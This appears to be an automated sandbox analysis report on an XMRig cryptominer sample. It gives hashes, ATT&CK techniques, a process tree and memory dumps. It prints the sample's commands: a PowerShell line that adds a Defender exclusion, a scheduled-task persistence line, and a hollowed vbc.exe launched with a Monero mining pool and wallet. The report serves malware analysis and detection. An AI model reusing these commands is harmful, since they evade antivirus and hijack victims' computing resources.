xmrig | a07d160c21ffe45dfdcc0e0b1a485293063b9b1751f635b989fa41075019290a

Analysis

max time kernel
92s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
23-11-2022 17:09

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General

Target

file.exe
Size

1.3MB
MD5

63a5a9ecfd59f81c8c2744f54809c7f8
SHA1

fc9fa3765ac64a6c8a8607f3447d47151acbe7c4
SHA256

a07d160c21ffe45dfdcc0e0b1a485293063b9b1751f635b989fa41075019290a
SHA512

9356cfc34a4cf8736cbc6962be63527376590f96e04c91154071e5617e0876bb9aa04b0e7c5dde1d12e3b88d36b6150bfeaf8a2f09e0507e089b90ceb68b1071
SSDEEP

24576:WdcgTewpeuCLZQ5wrS7j5G1bDD6egAmkI:WdcgT1pehZQYYKTX

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1552-183-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1552-184-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/1552-185-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1552-186-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1552-188-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1552-193-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

OWT.exe

pid process

1496 OWT.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

OWT.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation OWT.exe
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Suspicious use of SetThreadContext 1 IoCs

Processes:

OWT.exe

description pid process target process

PID 1496 set thread context of 1552 1496 OWT.exe vbc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4228 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2700 timeout.exe

pid	process
1496	OWT.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	OWT.exe

description	pid	process	target process
PID 1496 set thread context of 1552	1496	OWT.exe	vbc.exe

pid	process
4228	schtasks.exe

pid	process
2700	timeout.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

file.exepowershell.exeOWT.exepowershell.exe

pid	process
4848	file.exe
4848	file.exe
4820	powershell.exe
4820	powershell.exe
1496	OWT.exe
1496	OWT.exe
4376	powershell.exe
4376	powershell.exe
1496	OWT.exe
1496	OWT.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

644

pid	process
644

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

file.exepowershell.exeOWT.exepowershell.exevbc.exe

description	pid	process
Token: SeDebugPrivilege	4848	file.exe
Token: SeDebugPrivilege	4820	powershell.exe
Token: SeDebugPrivilege	1496	OWT.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeLockMemoryPrivilege	1552	vbc.exe
Token: SeLockMemoryPrivilege	1552	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

vbc.exe

pid process

1552 vbc.exe

pid	process
1552	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

file.execmd.exeOWT.execmd.exe

description	pid	process	target process
PID 4848 wrote to memory of 4820	4848	file.exe	powershell.exe
PID 4848 wrote to memory of 4820	4848	file.exe	powershell.exe
PID 4848 wrote to memory of 5012	4848	file.exe	cmd.exe
PID 4848 wrote to memory of 5012	4848	file.exe	cmd.exe
PID 5012 wrote to memory of 2700	5012	cmd.exe	timeout.exe
PID 5012 wrote to memory of 2700	5012	cmd.exe	timeout.exe
PID 5012 wrote to memory of 1496	5012	cmd.exe	OWT.exe
PID 5012 wrote to memory of 1496	5012	cmd.exe	OWT.exe
PID 1496 wrote to memory of 4376	1496	OWT.exe	powershell.exe
PID 1496 wrote to memory of 4376	1496	OWT.exe	powershell.exe
PID 1496 wrote to memory of 100	1496	OWT.exe	cmd.exe
PID 1496 wrote to memory of 100	1496	OWT.exe	cmd.exe
PID 100 wrote to memory of 4228	100	cmd.exe	schtasks.exe
PID 100 wrote to memory of 4228	100	cmd.exe	schtasks.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe
PID 1496 wrote to memory of 1552	1496	OWT.exe	vbc.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4820

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpCFA9.tmp.bat""
2⤵
- Suspicious use of WriteProcessMemory
PID:5012

C:\Windows\system32\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:2700

C:\ProgramData\winrar\OWT.exe
"C:\ProgramData\winrar\OWT.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1496

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4376

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:100

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
5⤵
- Creates scheduled task(s)
PID:4228

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1552

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\winrar\OWT.exe

Filesize
1.3MB

MD5
63a5a9ecfd59f81c8c2744f54809c7f8

SHA1
fc9fa3765ac64a6c8a8607f3447d47151acbe7c4

SHA256
a07d160c21ffe45dfdcc0e0b1a485293063b9b1751f635b989fa41075019290a

SHA512
9356cfc34a4cf8736cbc6962be63527376590f96e04c91154071e5617e0876bb9aa04b0e7c5dde1d12e3b88d36b6150bfeaf8a2f09e0507e089b90ceb68b1071

Download Submit
C:\ProgramData\winrar\OWT.exe

Filesize
1.3MB

MD5
63a5a9ecfd59f81c8c2744f54809c7f8

SHA1
fc9fa3765ac64a6c8a8607f3447d47151acbe7c4

SHA256
a07d160c21ffe45dfdcc0e0b1a485293063b9b1751f635b989fa41075019290a

SHA512
9356cfc34a4cf8736cbc6962be63527376590f96e04c91154071e5617e0876bb9aa04b0e7c5dde1d12e3b88d36b6150bfeaf8a2f09e0507e089b90ceb68b1071

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpCFA9.tmp.bat

Filesize
138B

MD5
4b5759dff23fd6e13d2a1c3deed3132c

SHA1
d0bc23691f37f2ca909310c8d4b5a9a5200f6a01

SHA256
583bbc27e9392486c2c028b84fbe2f7e53f83299baebf4155612a702b3666bba

SHA512
c7d7bafc52b4b29ce2f64889cd0a84ee1f4c5463986c88b2763e71c667d3ed5cb4337117fc8b4442298b0bb17d28d6d5682dbce88619779511f6de10fed05417

Download Submit
memory/100-171-0x0000000000000000-mapping.dmp

Download
memory/1496-159-0x00007FFB9F5F0000-0x00007FFB9F602000-memory.dmp

Filesize
72KB

Download
memory/1496-168-0x00007FFB84E90000-0x00007FFB84FDE000-memory.dmp

Filesize
1.3MB

Download
memory/1496-180-0x00007FFBA2730000-0x00007FFBA279B000-memory.dmp

Filesize
428KB

Download
memory/1496-179-0x00007FFB819E0000-0x00007FFB81AE2000-memory.dmp

Filesize
1.0MB

Download
memory/1496-177-0x00007FFBA1E90000-0x00007FFBA1EB7000-memory.dmp

Filesize
156KB

Download
memory/1496-174-0x00007FFB86920000-0x00007FFB873E1000-memory.dmp

Filesize
10.8MB

Download
memory/1496-181-0x00007FFBA0AA0000-0x00007FFBA0ADB000-memory.dmp

Filesize
236KB

Download
memory/1496-189-0x0000000000F10000-0x0000000000F51000-memory.dmp

Filesize
260KB

Download
memory/1496-164-0x0000000000F10000-0x0000000000F51000-memory.dmp

Filesize
260KB

Download
memory/1496-192-0x00007FFB86920000-0x00007FFB873E1000-memory.dmp

Filesize
10.8MB

Download
memory/1496-153-0x0000000000000000-mapping.dmp

Download
memory/1496-178-0x00007FFB89E30000-0x00007FFB89E65000-memory.dmp

Filesize
212KB

Download
memory/1496-191-0x0000000000D50000-0x0000000000F0C000-memory.dmp

Filesize
1.7MB

Download
memory/1496-167-0x0000000000D50000-0x0000000000F0C000-memory.dmp

Filesize
1.7MB

Download
memory/1496-165-0x00007FFBA3B30000-0x00007FFBA3B5B000-memory.dmp

Filesize
172KB

Download
memory/1496-194-0x0000000000D50000-0x0000000000F0C000-memory.dmp

Filesize
1.7MB

Download
memory/1496-195-0x00007FFB86920000-0x00007FFB873E1000-memory.dmp

Filesize
10.8MB

Download
memory/1496-157-0x00007FFB87480000-0x00007FFB8752A000-memory.dmp

Filesize
680KB

Download
memory/1496-158-0x00007FFBA3840000-0x00007FFBA38DE000-memory.dmp

Filesize
632KB

Download
memory/1496-160-0x00007FFB865E0000-0x00007FFB8669D000-memory.dmp

Filesize
756KB

Download
memory/1496-161-0x00007FFBA2000000-0x00007FFBA21A1000-memory.dmp

Filesize
1.6MB

Download
memory/1496-162-0x00007FFB86920000-0x00007FFB873E1000-memory.dmp

Filesize
10.8MB

Download
memory/1496-163-0x0000000000D50000-0x0000000000F0C000-memory.dmp

Filesize
1.7MB

Download
memory/1496-166-0x0000000000D50000-0x0000000000F0C000-memory.dmp

Filesize
1.7MB

Download
memory/1552-183-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1552-187-0x000002476EFD0000-0x000002476EFF0000-memory.dmp

Filesize
128KB

Download
memory/1552-184-0x0000000140343234-mapping.dmp

Download
memory/1552-199-0x0000024803170000-0x0000024803190000-memory.dmp

Filesize
128KB

Download
memory/1552-186-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1552-185-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1552-198-0x0000024770AB0000-0x0000024770AD0000-memory.dmp

Filesize
128KB

Download
memory/1552-197-0x0000024803170000-0x0000024803190000-memory.dmp

Filesize
128KB

Download
memory/1552-188-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1552-190-0x0000024802B00000-0x0000024802B40000-memory.dmp

Filesize
256KB

Download
memory/1552-196-0x0000024770AB0000-0x0000024770AD0000-memory.dmp

Filesize
128KB

Download
memory/1552-193-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2700-151-0x0000000000000000-mapping.dmp

Download
memory/4228-173-0x0000000000000000-mapping.dmp

Download
memory/4376-176-0x00007FFB86920000-0x00007FFB873E1000-memory.dmp

Filesize
10.8MB

Download
memory/4376-175-0x00007FFB86920000-0x00007FFB873E1000-memory.dmp

Filesize
10.8MB

Download
memory/4376-169-0x0000000000000000-mapping.dmp

Download
memory/4820-145-0x0000000000000000-mapping.dmp

Download
memory/4820-152-0x00007FFB86920000-0x00007FFB873E1000-memory.dmp

Filesize
10.8MB

Download
memory/4820-182-0x00007FFB86920000-0x00007FFB873E1000-memory.dmp

Filesize
10.8MB

Download
memory/4820-148-0x000001B4B33E0000-0x000001B4B3402000-memory.dmp

Filesize
136KB

Download
memory/4848-139-0x00007FFBA3B30000-0x00007FFBA3B5B000-memory.dmp

Filesize
172KB

Download
memory/4848-136-0x00007FFB865E0000-0x00007FFB8669D000-memory.dmp

Filesize
756KB

Download
memory/4848-140-0x0000000000A30000-0x0000000000BEC000-memory.dmp

Filesize
1.7MB

Download
memory/4848-141-0x00007FFB84E90000-0x00007FFB84FDE000-memory.dmp

Filesize
1.3MB

Download
memory/4848-138-0x00007FFB86920000-0x00007FFB873E1000-memory.dmp

Filesize
10.8MB

Download
memory/4848-143-0x00000000009E0000-0x0000000000A21000-memory.dmp

Filesize
260KB

Download
memory/4848-137-0x00007FFBA2000000-0x00007FFBA21A1000-memory.dmp

Filesize
1.6MB

Download
memory/4848-133-0x00007FFB87480000-0x00007FFB8752A000-memory.dmp

Filesize
680KB

Download
memory/4848-142-0x0000000000A30000-0x0000000000BEC000-memory.dmp

Filesize
1.7MB

Download
memory/4848-135-0x00007FFB9F5F0000-0x00007FFB9F602000-memory.dmp

Filesize
72KB

Download
memory/4848-134-0x00007FFBA3840000-0x00007FFBA38DE000-memory.dmp

Filesize
632KB

Download
memory/4848-144-0x00007FFB86920000-0x00007FFB873E1000-memory.dmp

Filesize
10.8MB

Download
memory/4848-150-0x00007FFB86920000-0x00007FFB873E1000-memory.dmp

Filesize
10.8MB

Download
memory/4848-147-0x0000000000A30000-0x0000000000BEC000-memory.dmp

Filesize
1.7MB

Download
memory/5012-146-0x0000000000000000-mapping.dmp

Download